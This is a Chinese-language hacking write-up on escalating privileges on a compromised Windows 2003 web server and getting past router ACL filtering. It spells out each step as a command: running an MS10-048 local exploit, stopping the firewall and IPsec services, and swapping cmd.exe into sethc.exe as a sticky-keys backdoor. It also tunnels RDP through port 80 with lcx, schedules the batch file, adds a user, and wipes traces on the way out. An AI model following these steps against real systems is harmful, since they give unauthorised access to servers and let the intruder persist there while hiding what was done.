突破ACL表过滤

一日从朋友处得到一网站权限,让我帮忙提权。拿到后看了看,C、D盘有只读权限,C:\Documents and Settings\All Users\Documents 可写。 没有装FTP软件和数据库。wscript.shell没有被禁用, 终端端口被改成45678 。试了试从外网连不上45678端口,用LCX也导不出来,本以为是WINDOWS自带的防火墙或者IPSEC。不过防火墙的事拿到系统权限了再搞吧。
找了找本地溢出的漏洞,貌似只有MS08067和MS10048,不过在服务器的D盘根目录发现个KB958644.exe ,这个应该是MS08067的补丁,把MS10048.exe传到C:\Documents and Settings\All Users\Documents目录里,运行ms10048 Whoami,返回nt authority\system,为系统权限。 接下来关掉防火墙 执行net stop policyagent和net stop sharedaccess .发现45678端口还是连不上,郁闷至极,ping 外网IP也不通 。 执行一下tracert 220.181.6.175 (220.181.6.175是百度的IP) 返回
1 1ms <1ms <1 203.171.236.1
2 * * * Request timed out.
3 * * * Request timed out.

数据包经过路由器就被抛弃了.
初步判断是路由器设置了ACL表。
扫描了一下目标服务器,只开了80端口,服务器操作系统是WINDOWS 2003. 端口复用在2003上不管用。 看来只有把IIS停了再把45678端口转到80端口上了。
在c:\windows 目录中写了个1.bat
内容是
copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe /y /*替换sethc.exe,登陆上终端后按5下Shift打开CMD窗口*/
net stop w3svc
lcx.exe -tran 80 127.0.0.1 45678
net start w3svc /*这一行是为了当lcx意外崩溃后启动IIS。*/
不过需要注意的是 这个1.bat不能直接用ms10048.exe 运行 ,因为IIS进程是ms10048.exe的父进程 ,把IIS结束后ms10048.exe也就自动退出了 所以不会运行后面的代码
运行time/t得到服务器的时间是20:23。 ms10048.exe at 20:25 c:\windows\1.bat 让服务器在20:25运行1.bat 为了保险起见 再运行一个ms10048.exe at 20:40 shutdown -r 让服务器在20:40重启。
一两分钟后用远程桌面连接 服务器80端口成功连上,按无暇5下SHIFT键弹出CMD窗口 添加用户成功登陆。登陆后运行 at \delete \y 删除刚才添加的定时重启任务。
接下来就该干什么干什么去了。
退出的时候可以直接重启服务器 ,不过这样不太厚道。 打开一个cmd窗口 运行query user 找到自己的用户ID ,我的用户ID是2。 然后在CMD窗口里输入 taskkill /IM lcx.exe /F&logoff 2&net user 410502 /del&net start w3svc 这行命令的意思是 结束lcx.exe 注销我的用户 删掉我的用户 然后启动IIS.
提权到此顺利结束

 本文作者M4tr1x由网络安全攻防研究室(www.91ri.org) 网络信息安全小组收集整理.